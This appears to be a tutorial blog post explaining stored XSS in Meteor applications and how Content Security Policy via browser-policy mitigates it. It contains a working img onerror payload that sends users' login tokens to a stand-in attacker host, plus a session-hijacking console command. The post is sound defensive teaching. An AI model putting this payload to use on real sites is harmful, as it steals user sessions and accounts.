You’ve probably heard the term “XSS”, or cross-site scripting, floating around the Meteor community. You’ve probably also heard that the browser-policy package prevents XSS. Great! But… What is XSS?

Let’s pretend that we’ve built an awesome new Telescope application, and we’ve decided to get a little radical with our design. We’ve given our users the ability to embed images in their post titles! Our custom post_title template looks something like this:

<template name="custom_post_title">
  <h3 class="post-title {{moduleClass}}">
    <a href="{{this.getLink}}">{{{title}}}</a>
  </h3>
</template>

Great! Now our users can use <img> tags to embed pictures directly in their post titles. There’s absolutely nothing that go wrong here, right? Well…

The Dangers of XSS

This change has actually exposed our application to a particularly dangerous form of cross-site scripting; Stored XSS. We’ve given users the ability to enter potentially malicious markup in their titles. Check out this example title:

<img src="fakeurl"
     onerror="$.get('//www.malicio.us/'+localStorage['Meteor.loginToken'])"
     alt="Cats suck!">

Now, imagine that the bad person who posted this title has a simple web server running on www.malicio.us listening for and logging any GET requests it recieves. After a few innocent users stumble across this post on our Telescope application, their sensitive login tokens would be pulled from their local storage and sent to malicio.us. The malicio.us web logs would look something like this:

GET http://www.malicio.us/g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D
GET http://www.malicio.us/LPPp7Tdb_qveRwa7-dLeCAxpqpc9oYM53Gt0HG6kwQ5
GET http://www.malicio.us/go9olSuebBjfQQqTrL-86d_LlfcctG848r7dBhW_kCL

The attacker who posted the malicious title could easily steal any of these active sessions by navigating to our Meteor application and running the following code in their browser console:

Meteor.loginWithToken("g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D");

And just like that, a user’s account has been stolen.


The crux of the issue here is that we’re using a triple-brace tag to insert raw HTML directly into the DOM. Without any kind of sanitation or validation, we have no way of knowing that users aren’t providing us with malicious markup that will potentially run on all of our users’ browsers.

In this case, the attacker simply grabbed the current user’s loginToken out of local storage with the intent of hijacking their account. XSS attacks can be far more sophisticated, though. They can be as subtle as silently calling methods on behalf of the client, and as lavish as constructing entire user interface components designed to extract sensitive information (credentials, credit card numbers, etc…) from users.

Your Meteor application is not solely exposed to cross-site scripting through the use of triple-brace tags. Malicious HTML/JavaScript can be introduced into your Blaze-powered application through the use of SafeString, dynamic attributes, and dynamic attribute values, to name a few. When using these techniques with user-provided data, be especially sure that you’re properly sanitizing or validating the data before sending it into the DOM.

Browser-policy as a safety net

The browser-policy package enables your Meteor application to establish its Content Security Policy, or CSP. The goal of CSP is to prevent unexpected JavaScript from running on your page.

However, browser-policy package is not a turnkey solution to our XSS problem. It requires some configuration to be especially useful. David Weldon has an excellent guide outlining the benefits of using browser-policy and how to go about tuning it to your application. For our application, we would want to make sure that we’re disallowing inline scripts:

BrowserPolicy.content.disallowInlineScripts();

By disallowing inline scripts, the JavaScript found in the onerror of the image tag would not be allowed to run. This would effectively stop the XSS attack dead in its tracks.

While CSP is an amazing tool that can be used to harden your application against attackers, I believe that it should be considered your last line of defense. You should always try to find and eradicate all potential sources of cross-site scripting, rather than relying on the browser-policy to prevent it. There is always the chance that you may have misconfigured your browser-policy. On top of that, Content Security Policy isn’t supported on older browsers.

Final Thoughts

Keep in mind that this was just a single example of cross-site scripting in action. Attackers can use a variety of other techniques and methods in order to achieve their nefarious intents.

The truth is, XSS attacks are relatively rare in Meteor applications. The Meteor team made a great decision when going with a secure default for value interpolation (double-brace tags). However, there are still scenarios where XSS can rear its ugly head in your Meteor application. In addition to using and configuring browser-policy, you should try to identify and fix any potential areas where cross-site scripting may occur.